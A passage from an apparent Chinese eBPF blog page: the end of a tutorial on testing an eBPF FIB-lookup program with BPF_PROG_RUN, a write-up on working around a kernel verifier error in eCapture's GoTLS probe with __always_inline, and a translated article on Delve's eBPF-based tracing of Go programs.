-l$(LIBS) -o $@ $< .PHONY: clean: rm -rf fib_lookup.bpf.o rm -rf fib_lookup.skel.h rm -rf test 现在先忽略测试二进制文件，我们将在下一部分编写测试运行器。如果我们检查文件fib_lookup.skel.h，我们会遇到一个有趣的结构。 // fib_lookup.skel.h struct fib_lookup_bpf { struct bpf_object_skeleton *skeleton; struct bpf_object *obj; struct { struct bpf_map *bss; struct bpf_map *rodata; } maps; struct { struct bpf_program *fib_lookup; } progs; struct { struct bpf_link *fib_lookup; } links; struct fib_lookup_bpf__bss { struct bpf_fib_lookup fib_params; int fib_lookup_ret; } *bss; struct fib_lookup_bpf__rodata { } *rodata; #ifdef __cplusplus static inline struct fib_lookup_bpf *open(const struct bpf_object_open_opts *opts = nullptr); static inline struct fib_lookup_bpf *open_and_load(); static inline int load(struct fib_lookup_bpf *skel); static inline int attach(struct fib_lookup_bpf *skel); static inline void detach(struct fib_lookup_bpf *skel); static inline void destroy(struct fib_lookup_bpf *skel); static inline const void *elf_bytes(size_t *sz); #endif /* __cplusplus */ }; 这是我们加载的eBPF程序的句柄，当我们调用Skeleton加载器时，它会返回给我们。 static inline struct fib_lookup_bpf * fib_lookup_bpf__open_and_load(void) 在这个文件里，我感兴趣的在这 struct fib_lookup_bpf__bss { struct bpf_fib_lookup fib_params; int fib_lookup_ret; } *bss; 注意，我们可以在bss字段中访问到全局的零初始化变量。这使得用户空间程序能够加载eBPF程序，并检索其句柄，然后在调用bpf_test_run_opts之前和之后注入和读取全局变量的值。这正是我们的测试运行器要做的事情。编写测试运行器如上所述，我们希望我们的测试运行器执行以下操作：将eBPF测试程序加载到内核中，并获得在bpf_lookup.skel.h中定义的fib_lookup_bpf结构的句柄。在运行测试之前，向测试中注入一个模拟的bpf_fib_lookup参数结构。利用libpf的bpf_test_run_opts函数在用户空间中运行我们的测试。读取生成的fib_lookup_bpf和fib_lookup_ret以确定是否使用了默认网关。由于我们控制测试运行的网络命名空间，因此我们可以硬编码表示默认网关的接口ID（ifindex），使得我们的测试运行器更简单。让我们来看一下测试运行器： // test.c #include <bpf/bpf.h> #include <bpf/libbpf.h> #include <stdio.h> #include <bpf/bpf_endian.h> #include "fib_lookup.skel.h" #include "net/ethernet.h" #include "linux/ip.h" #include "netinet/tcp.h" #define TARGET_IFINDEX 2 // in our test, we only care that the packet is the correct size, // since our test does not touch any packet data. char v4_pkt[(sizeof(struct ethhdr) + sizeof(struct iphdr) + sizeof(struct tcphdr))]; // create an empty skb as mock data, our tests do not touch any skb fields. struct __sk_buff skb = {0}; int main (int argc, char *argv[]) { struct fib_lookup_bpf *skel; int prog_fd, err = 0; // define our BPF_PROG_RUN options with our mock data. struct bpf_test_run_opts opts = { // required, or else bpf_prog_test_run_opts will fail .sz = sizeof(struct bpf_test_run_opts), // data_in will wind up being ctx.data .data_in = &v4_pkt, .data_size_in = sizeof(v4_pkt), // ctx is an skb in this case .ctx_in = &skb, .ctx_size_in = sizeof(skb) }; // load our fib lookup test program into the Kernel and return our // skeleton handle to it. skel = fib_lookup_bpf__open_and_load(); if (!skel) { printf("[error]: failed to open and load skeleton: %d\n", err); return -1; } // inject our test parameters into the fib lookup parameter, this primes // our test. skel->bss->fib_lookup_ret = -1; skel->bss->fib_params.family = AF_INET; skel->bss->fib_params.ipv4_src = 0x100007f; skel->bss->fib_params.ipv4_dst = 0x8080808; skel->bss->fib_params.ifindex = 1; // get the prog_fd from the skeleton, and run our test. prog_fd = bpf_program__fd(skel->progs.fib_lookup); err = bpf_prog_test_run_opts(prog_fd, &opts); if (err != 0) { printf("[error]: bpf test run failed: %d\n", err); return -2; } // check global variables for response if (skel->bss->fib_lookup_ret != 0) { printf("[FAIL]: fib lookup returned: %d", skel->bss->fib_lookup_ret); return -1; } if (skel->bss->fib_params.ifindex != TARGET_IFINDEX) { printf("[FAIL]: fib lookup did not choose default gw interface: %d", skel->bss->fib_params.ifindex); return -1; } printf(" %d\n", skel->bss->fib_params.ifindex); return 0; } 让我们更新Makefile来构建我们的测试运行器。 CFLAGS += -g3 \ -Wall LIBS = bpf all: fib_lookup.bpf.o fib_lookup.skel.h test fib_lookup.bpf.o: fib_lookup.bpf.c clang -target bpf -Wall -O2 -g -c $< fib_lookup.skel.h: fib_lookup.bpf.o bpftool gen skeleton $< > $@ test: test.c gcc $(CFLAGS) -l$(LIBS) -o $@ $< .PHONY: clean: rm -rf fib_lookup.bpf.o rm -rf fib_lookup.skel.h rm -rf test 最后，我们提供一个脚本，为这个测试运行程序创建一个网络命名空间，并运行测试。 #!/bin/bash NETNS_NAME="netns-1" n='sudo ip netns' nexec="sudo ip netns exec $NETNS_NAME" function setup_netns() { # add 'netns-1' network namespace where we'll # run our test. $n add $NETNS_NAME # setup loopback $nexec ip addr add 127.0.0.1 dev lo # setup a dummy interface which can route to the default gw, and # setup a route to the default gw. $nexec ip link add name eth0 type dummy $nexec ip link set up eth0 $nexec ip addr add 192.168.1.10/24 dev eth0 $nexec ip route add default via 192.168.1.11 # since 192.168.1.11 doesn't actually exist, create a perm arp-table entry # for it, allowing fib lookup to succeed. $nexec ip neigh add 192.168.1.11 dev eth0 lladdr "0F:0F:0F:0F:0F:0F" nud permanent } function teardown_netns() { $n del $NETNS_NAME } setup_netns $nexec ./test teardown_netns 当我们运行这个脚本时，我们会得到以下输出： [PASS]: ifindex 2 总结让我们总结一下这篇文章的要点。一个 eBPF 程序可以定义全局变量，在用户空间测试运行程序之前和之后都可以对其进行修改。可以使用BPF_PROG_RUN命令在用户空间中运行你的 eBPF 程序，该命令由 libbpf 中的 bpf_prog_test_run_opts()函数包装。一旦将 eBPF 程序编译为对象文件，你可以使用 bpftool 生成一个skeleton加载器，该加载器将你的 eBPF 程序加载到内核，并为用户空间程序提供访问上述全局变量的权限。最后，你可以编写一个用户空间测试运行器，在测试之前设置加载的 eBPF 程序的全局变量，并在测试之后读取它们，从而确定 eBPF 程序是否执行了你预期的操作。

2023-05-20 0 0

eBPF verifier验证器与编译器inline内联

eBPF verifier验证器与编译器inline内联

笔者在二月份编写eCapture的GoTls密钥捕获功能时，遇到了一个小bug，就是在UBUNTU 21.04的Linux上运行时，遇到eBPF verifier的报错，无法启动，笔者后来通过启用always inline解决了这个问题。我觉得，这是一个比较好的编写eBPF的技巧案例，决定把详细排查过程、原因、修复方法一起分享出来，奈何事情比较忙，一直没时间，拖延了一个多月，这个周末，咬牙立Flag，整理出来，分享给大家。报错详情报错的eCapture代码是aa0b86ea，在ubuntu 20.04上，使用make nocore编译运行，则一切正常。若在ubuntu 21.04以及以后版本编译运行，则出现如下错误： tls_2023/03/24 19:44:20 EBPFProbeGoTLS BPF bytecode filename:user/bytecode/gotls_kern.o tls_2023/03/24 19:44:21 EBPFProbeGoTLS module run failed, [skip it]. error:error:program gotls_text_register: load program: invalid argument: Arg#0 type PTR in gotls_text() is not supported yet. (2 line(s) omitted) , couldn't load eBPF programs, cs:&{map[events:PerfEventArray(keySize=0, valueSize=0, maxEntries=0, flags=0) gte_context:LRUHash(keySize=8, valueSize=4136, maxEntries=2048, flags=0) gte_context_gen:Array(keySize=4, valueSize=4136, maxEntries=1, flags=0)] map[gotls_text_register:0xc0003f6630 gotls_text_stack:0xc0003f66c0] 0xc000072f40 LittleEndian} 当然，把ubuntu 20.04上编译的版本拿到21.04上运行，也是如上错误。关键信息很显然，重点的错误是下面这句error:error:program gotls_text_register: load program: invalid argument: Arg#0 type PTR in gotls_text() is not supported yet. (2 line(s) omitted) 。 eCapture是使用了gojue/ebpfmanager这个纯Go的ebpf类库来管理，里面是使用了 cilium/ebpf类库实现syscall eBPF调用。通过分析定位，在相应的代码处打日志，则会看到详细的报错信息，如下： invalid argument Validating gotls_text() func#1... Arg#0 type PTR in gotls_text() is not supported yet. processed 0 insns (limit 1000000) max_states_per_insn 0 total_states 0 peak_states 0 mark_read 0 继续跟进debug，确定报错信息来自cilium/ebpf类库中errors包内的323行，变量 logBuf ，当调用sys.ProgLoad加载eBPF程序时报错。 // internal/errors.go #line 323 var err2 error if !opts.LogDisabled && opts.LogLevel == 0 { logBuf = make([]byte, opts.LogSize) attr.LogLevel = LogLevelBranch attr.LogSize = uint32(len(logBuf)) attr.LogBuf = sys.NewSlicePointer(logBuf) _, err2 = sys.ProgLoad(attr) } 重点的报错内容为Arg#0 type PTR in gotls_text() is not supported yet.，而这段报错是来自内核的BPF验证器。在内核代码中，这段报错是来自 btf_prepare_func_args函数，功能为将函数的BTF转换为bpf_reg_state，无法转换BTF时，则返回EINVAL。即本次bug的现象。该函数触发本次报错的代码如下： /* Convert BTF function arguments into verifier types. * Only PTR_TO_CTX and SCALAR are supported atm. */ for (i = 0; i < nargs; i++) { t = btf_type_by_id(btf, args[i].type); while (btf_type_is_modifier(t)) t = btf_type_by_id(btf, t->type); if (btf_type_is_int(t) || btf_type_is_enum(t)) { reg[i + 1].type = SCALAR_VALUE; continue; } if (btf_type_is_ptr(t) && btf_get_prog_ctx_type(log, btf, t, prog_type, i)) { reg[i + 1].type = PTR_TO_CTX; continue; } bpf_log(log, "Arg#%d type %s in %s() is not supported yet.\n", i, btf_kind_str[BTF_INFO_KIND(t->info)], tname); return -EINVAL; } 如注释内容，将BTF函数参数转换为验证器类型。目前仅支持PTR_TO_CTX和SCALAR。问题在哪里？很好理解，看gotls_text这个函数代码，Arg#0即struct pt_regs *ctx，而这个参数实际上是PTR_TO_CTX这个类型，但依然没通过验证器的验证。 int gotls_text(struct pt_regs *ctx, bool is_register_abi) { // ... } SEC("uprobe/gotls_text_register") int gotls_text_register(struct pt_regs *ctx) { return gotls_text(ctx, true); } SEC("uprobe/gotls_text_stack") int gotls_text_stack(struct pt_regs *ctx) { return gotls_text(ctx, false); } 显然，内核编译的 btf_vmlinux是不正确的，eBPF验证器无法确定上下文指针的类型，并将struct pt_regs *ctx作为PTR，而非真正的PTR_TO_CTX 。 btf_vmlinux为什么损坏，我不知道。继续排查下去会花费我很多时间、精力。所以，暂时跳过查找根因这个方向，转向跳过验证器方法。不过，在笔者今天写这篇文章时，发现cilium社区这两天也遇到这个问题了，在bpf: inline test functions with ctx as input #24662 这个issue里，开发者也认为这是内核编译时遇到错误了，大概是pahole 或 gcc 的问题。探索解决思路正确的解决办法应该是定位出btf_vmlinux损坏的原因，但这事会特别复杂、特别漫长，涉及UBUNTU的内核编译问题排查，重现成本会很高。为此，我想尝试找到规避这个问题的方法，比如不进入BTF的BPF verifier验证器。为什么会被eBPF verifier验证继续通过内核函数 btf_prepare_func_args 继续跟进的话，会看到是do_check_subprogs()函数在验证所有ebpf progs。 /* Verify all global functions in a BPF program one by one based on their BTF. * All global functions must pass verification. Otherwise the whole program is rejected. * Consider: * int bar(int); * int foo(int f) * { * return bar(f); * } * int bar(int b) * { * ... * } * foo() will be verified first for R1=any_scalar_value. During verification it * will be assumed that bar() already verified successfully and call to bar() * from foo() will be checked for type match only. Later bar() will be verified * independently to check that it's safe for R1=any_scalar_value. */ static int do_check_subprogs(struct bpf_verifier_env *env) { // ... } 正如函数的注释所写，根据BTF对BPF程序中的所有全局函数逐个进行验证。所有全局函数都必须通过验证，否则整个程序将被拒绝。在验证过程中，会先验证foo()，验证时会假定bar()已经通过了验证，并且只会检查从foo()调用bar()的类型匹配性。之后，会单独验证bar()，以检查当R1=any_scalar_value时是否安全。回到我的代码写法，即gotls_text_register调用了gotls_text函数，所以，gotls_text函数也会被eBPF 验证器再验证一次。灵机一动既然是独立的函数会被验证，那么我不拆分函数呗，但考虑到gotls_text函数是公用部分，编写上还是要剥离出来，降低维护成本。显然，用编译器inline内联呗。为此，我在ubuntu 20.04、21.04上分别验证了no_inline、inline两种模式的情况，并导出BPF字节码文件的汇编码逐一验证。 no_inline ubuntu 20.04编译没有自动inline，但不报错，可正常运行。把程序放到21.04上，则报错 tls_2023/03/27 16:18:57 EBPFProbeGoTLS module run failed, [skip it]. error:error:program gotls_text_register: load program: invalid argument: Arg#0 type PTR in gotls_text() is not supported yet. (2 line(s) omitted) , couldn't load eBPF programs, ubuntu 21.04编译没有自动inline，但报错，运行失败 tls_2023/03/27 16:18:57 EBPFProbeGoTLS module run failed, [skip it]. error:error:program gotls_text_register: load program: invalid argument: Arg#0 type PTR in gotls_text() is not supported yet. (2 line(s) omitted) , couldn't load eBPF programs, 将21.04上编译的版本，运行报错，但放到20.04上运行，则正常。将20.04上编译、运行正常的程序，放到21.04上，也依旧会报错。可以确定是内核BPF验证器增加了相关验证。见[bpf-next,3/6] bpf: Introduce function-by-function verification inline 关闭inline内联 gotls_text 关闭用inline内联后，可以看到反汇编后的机器码： 0000000000000248 <gotls_text>: 73: bf 16 00 00 00 00 00 00 r6 = r1 74: 15 02 1f 00 00 00 00 00 if r2 == 0 goto +31 <LBB3_2> 75: b7 01 00 00 28 00 00 00 r1 = 40 76: bf 63 00 00 00 00 00 00 r3 = r6 // ... 104: 85 00 00 00 71 00 00 00 call 113 105: 05 00 1f 00 00 00 00 00 goto +31 <LBB3_3> gotls_text_register调用者的反汇编： Disassembly of section uprobe/gotls_text_register: 0000000000000000 <gotls_text_register>: 0: b7 02 00 00 01 00 00 00 r2 = 1 1: 85 10 00 00 ff ff ff ff call -1 2: b7 00 00 00 00 00 00 00 r0 = 0 3: 95 00 00 00 00 00 00 00 exit 编译器自动inline内联当gotls_text 内函数较小时，则被clang inline，比如注释掉函数后面几行。 int gotls_text(struct pt_regs *ctx, bool is_register_abi) { s32 record_type, len; const char *str; void * record_type_ptr; void * len_ptr; record_type_ptr = (void *)go_get_argument(ctx, is_register_abi, 2); bpf_probe_read_kernel(&record_type, sizeof(record_type), (void *)&record_type_ptr); str = (void *)go_get_argument(ctx, is_register_abi, 3); len_ptr = (void *)go_get_argument(ctx, is_register_abi, 4); bpf_probe_read_kernel(&len, sizeof(len), (void *)&len_ptr); debug_bpf_printk("gotls_text record_type:%d\n", record_type); if (record_type != recordTypeApplicationData) { return 0; } // ... 以下代码都注视掉 return 0; } 从BPF 汇编可以看到，虽然gotls_text函数依然存在，但是gotls_text_register已经内联了他的内容。 llvm-objdump -d gotls_kern.o gotls_kern.o: file format elf64-bpf Disassembly of section .text: 0000000000000248 <gotls_text>: 73: bf 16 00 00 00 00 00 00 r6 = r1 74: 15 02 1e 00 00 00 00 00 if r2 == 0 goto +30 <LBB3_2> 75: b7 01 00 00 28 00 00 00 r1 = 40 76: bf 63 00 00 00 00 00 00 r3 = r6 77: 0f 13 00 00 00 00 00 00 r3 += r1 78: bf a1 00 00 00 00 00 00 r1 = r10 79: 07 01 00 00 f8 ff ff ff r1 += -8 80: b7 02 00 00 08 00 00 00 r2 = 8 81: 85 00 00 00 71 00 00 00 call 113 82: 79 a1 f8 ff 00 00 00 00 r1 = *(u64 *)(r10 - 8) ... Disassembly of section uprobe/gotls_text_register: 0000000000000000 <gotls_text_register>: 0: bf 16 00 00 00 00 00 00 r6 = r1 1: b7 01 00 00 28 00 00 00 r1 = 40 2: bf 63 00 00 00 00 00 00 r3 = r6 3: 0f 13 00 00 00 00 00 00 r3 += r1 4: bf a1 00 00 00 00 00 00 r1 = r10 5: 07 01 00 00 f8 ff ff ff r1 += -8 6: b7 02 00 00 08 00 00 00 r2 = 8 7: 85 00 00 00 71 00 00 00 call 113 8: 79 a1 f8 ff 00 00 00 00 r1 = *(u64 *)(r10 - 8) 9: 7b 1a e8 ff 00 00 00 00 *(u64 *)(r10 - 24) = r1 10: bf a1 00 00 00 00 00 00 r1 = r10 11: 07 01 00 00 f4 ff ff ff r1 += -12 12: bf a3 00 00 00 00 00 00 r3 = r10 ... 手动inline 可以通过__always_inline 关键字，手动让编译器对这块代码进行内联。 static __always_inline int gotls_text(struct pt_regs *ctx, bool is_register_abi) { s32 record_type, len; const char *str; // ... } 最终的反汇编情况，与自动inline一样，并且可以支持更多行数的代码。解决方法经过前面的验证，解决办法就是__always_inline关键字启用编译器内联，跳过eBPF verifier的验证。总结经过笔者的验证，可以看出几个问题 ubuntu 20.04的5.4内核中，eBPF verifier未启用对被调用子函数的参数类型判断。 ubuntu 21.04的5.11内核中，eBPF verifier启用了对被调用子函数的参数类型判断。 ubuntu 21.04的5.11内核中，btf_vmlinux文件有问题，大概编译内核时遇到错误了。 clang会对较短的子函数进行自动inline内联，具体的行数阈值我也不清楚。编译器内联inline能很好的规避eBPF verifier的检查，建议默认开启。其他另外，笔者在解决这个问题时，也搜到几个类似的案例，虽然报错信息、排查思路不一样，但都是通过启用__always_inline来解决的，供参考。 Always Use always_inline In BPF Programs CI: ebpf unit tests fail with Ubuntu 20.04.3 kernel 5.11 #24051 [译] LLVM eBPF 汇编编程（2020）

2023-04-03 0 0

如何使用Delve和eBPF更快地调试Go程序

如何使用Delve和eBPF更快地调试Go程序

前言此文章将解释如何使用 Delve 跟踪 Go 程序，以及 Delve 如何利用 eBPF 在后台优化效率和速度。Delve 的目标是为开发人员提供愉快且高效的 Go 调试体验。因此，本文重点介绍了我们如何优化函数跟踪子系统，以便您可以更快地检查程序并找到根本原因分析。Delve 的跟踪实现有两个不同的后端，一个是基于 ptrace 的，另一个使用 eBPF。如果您不熟悉任何这些术语，请不要担心，我会随着解释一起说明。什么是程序跟踪？跟踪是一种允许开发人员在执行时看到程序正在做什么的技术。与典型的调试技术相反，这种方法不需要直接用户交互。最知名的跟踪工具之一是 strace，它允许开发人员在执行期间查看程序的系统调用。尽管上述的 strace 工具对于了解系统调用很有用，但 Delve trace 命令允许您洞察 "用户空间" 中 Go 程序的情况。这种 Delve 跟踪技术允许您跟踪程序中的任意函数，以便查看这些函数的输入和输出。此外，您还可以使用此工具了解程序的控制流，而无需交互式调试会话的开销，因为它还会显示正在执行该函数的 Goroutine。对于高度并发的程序，这可能是获得程序执行洞察力的更快方法，而无需启动完整的交互式调试会话。如何使用 Delve 跟踪 Go 程序 Delve 允许您通过调用 dlv trace 子命令来跟踪 Go 程序。该子命令接受一个正则表达式，并将执行您的程序，在与正则表达式匹配的每个函数上设置跟踪点，并实时显示结果。以下是示例程序： package main import "fmt" func foo(x, y int) (z int) { fmt.Printf("x=%d, y=%d, z=%d\n", x, y, z) z = x + y return } func main() { x := 99 y := x * x z := foo(x, y) fmt.Printf("z=%d\n", z) } 程序跟踪将给出以下输出： $ dlv trace foo > goroutine(1): main.foo(99, 9801) x=99, y=9801, z=0 >> goroutine(1): => (9900) z=9900 Process 583475 has exited with status 0 如您所见，我们在正则表达式中提供了 foo，它在这种情况下与主包中同名的函数匹配。以>为前缀的输出表示被调用的函数，并显示调用函数的参数，而以>>为前缀的输出表示从函数返回并与其相关联的返回值。所有输入和输出行均以在该时刻执行的 Goroutine 作为前缀。默认情况下，dlv trace 命令使用基于 ptrace 的后端，但添加 --ebpf 标志将启用基于 eBPF 的实验性后端。使用上面的示例，如果我们要像以下方式调用 trace 子命令： $ dlv trace –ebpf foo 我们将收到类似的输出。但是，背后发生的情况要大大不同并且更加高效。 ptrace低效率默认情况下，Delve 会使用 ptrace 系统调用来实现跟踪功能。ptrace 是一个系统调用，允许程序观察和操纵同一台机器上的其他程序。实际上，在 Unix 系统上，Delve 使用这个 ptrace 功能来实现调试器提供的许多低级功能，例如读写内存、控制执行等。虽然 ptrace 是一个有用和强大的机制，但它存在固有的效率低下。首先，ptrace 是一个系统调用，意味着我们必须跨越用户空间/内核空间边界，这增加了每次使用函数时的开销。这是由于我们必须调用 ptrace 的次数越多，开销就越大。考虑前面的示例，以下是使用 ptrace 实现跟踪的大致步骤概述：使用 ptrace(PT_ATTACH) 启动程序并附加调试器。使用 ptrace 在匹配所提供的正则表达式的每个函数处设置断点，并在被跟踪的进程的可执行内存中插入断点指令。另外，在该函数的每个返回指令处设置断点。再次使用 ptrace(PT_CONT) 继续程序。此步骤可能涉及多次ptrace调用，因为我们需要读取函数入口的CPU寄存器、堆栈上的内存以及如果必须取消指针引用的堆上的内存。再次使用ptrace(PT_CONT)继续程序。在函数返回时遇到断点，通过读取变量，可能涉及到更多的ptrace调用，以读取寄存器和内存。再次使用ptrace(PT_CONT)继续程序。直到程序结束。显然，函数的参数和返回值越多，每次停止就越昂贵。所有调试器花费在进行 ptrace 系统调用的时间，我们跟踪的程序都处于暂停状态，没有执行任何指令。从用户的角度来看，这使得程序的运行速度比原本要慢得多。现在，对于开发和调试来说，这也许不是什么大问题，但是时间是宝贵的，我们应该尽量快速地完成事情。程序在跟踪过程中的运行速度越快，你就能越快找到问题的根本原因。现在的问题是，我们如何使其更好呢？在下一节中，我们将讨论新的基于 eBPF 的后端，以及它如何改进这种方法。 eBPF 为何比 ptrace 更快一个最大的速度和效率改进是避免大量的系统调用开销。这是 eBPF 发挥作用的地方，因为我们可以在函数入口和出口设置 uprobes，并将小 eBPF 程序附加到它们上。Delve 使用 Cilium eBPF Go 库加载和与 eBPF 程序交互。每次触发 probe 时，内核将调用我们的 eBPF 程序，然后在它完成后继续主程序。我们编写的小 eBPF 程序将处理函数入口和出口中列出的所有步骤，但不会有所有的系统调用上下文切换，因为程序直接在内核空间中执行。我们的 eBPF 程序可以通过 eBPF 环形缓冲区和映射数据结构与用户空间中的调试器通信，使 Delve 能够收集所需的所有信息。这种方法的优点是，我们正在跟踪的程序需要暂停的时间大大减少。在触发 probe 时运行我们的 eBPF 程序比在函数入口和出口处调用多个系统调用要快得多。使用eBPF调试与跟踪步骤这里再概括一遍使用 eBPF 跟踪调试的流程：启动程序并使用 ptrace(PT_ATTACH) 附加到进程上。在内核中加载所有需要跟踪的函数的 uprobes。使用 ptrace(PT_CONT) 继续执行程序。在函数入口和出口触发 uprobes。每当 probe 被触发，内核部分将运行我们的 eBPF 程序，该程序获取函数的参数或返回值，并将其发送回用户空间。在用户空间中，从 eBPF 环形缓冲区读取函数参数和返回值。重复此过程直到程序结束。通过使用这种方法，Delve 可以比使用默认的 ptrace 实现更快地跟踪程序。现在，你可能会问，为什么不将这种方法默认使用？事实上，未来很有可能会成为默认方法。但目前，仍在进行开发，以改进这种基于 eBPF 的后端并确保它与基于 ptrace 的后端具有平衡性。然而，您仍然可以在执行 dlv trace 时使用 --ebpf 标志来使用它。为了给出一个使用不同跟踪方法的程序的效率差异的大致数字，我测量了另一个程序的运行情况，如下所示： Program execution: 23.7µs With eBPF trace: 683.1µs With ptrace tracing: 2.3s 数字本身就是最好的证明！为什么不使用uretprobe 如果您熟悉 eBPF、uprobes / uretprobes，您可能会问为什么我们对一切都使用 uprobes，而不是仅使用 uretprobes 捕获返回参数。关于此的解释相当复杂，但简短版本是，Go 运行时在执行 Go 程序过程中需要多次检查调用堆栈。当 uretprobes 附加到函数时，它们将该函数的返回地址覆盖在堆栈上。当 Go 运行时检查堆栈时，它会找到该函数的意外返回地址，最终会导致程序致命退出。为了解决这个问题，我们只需使用 uprobes，并利用 Delve 的能力检查程序的机器指令来在每个函数的返回指令处设置探测器。 Delve使用eBPF更快地调试Go代码 Delve的总体目标是帮助开发人员尽快地找到Go代码中的错误。为此，我们利用最新的方法和技术，并试图推动调试器可以完成的范围。 Delve在内部利用eBPF来最大化效率和速度。用户空间跟踪是任何工程师工具箱中的重要工具，我们的目标是使其高效易用。原文： How debugging Go programs with Delve and eBPF is faster

2023-02-14 0 0

最新评论

jeffrey

支持抓取emqx的tls报文么？

w3b5h3ll

不抛弃，不放弃

Zz

可以认为是代理功能吗？最近也在调研这个功能。大鹅项目好像是有类似的逻辑，dns配置 fallback 默认走代理。《ht

CFC4N

参考： https://github.com/gojue/ecapture/discussions/308

Wayne

你好，安卓上想使用eCapture,需要linux内额版本>=5.5 ,目前手上设备只有pixel 5 ,看官方的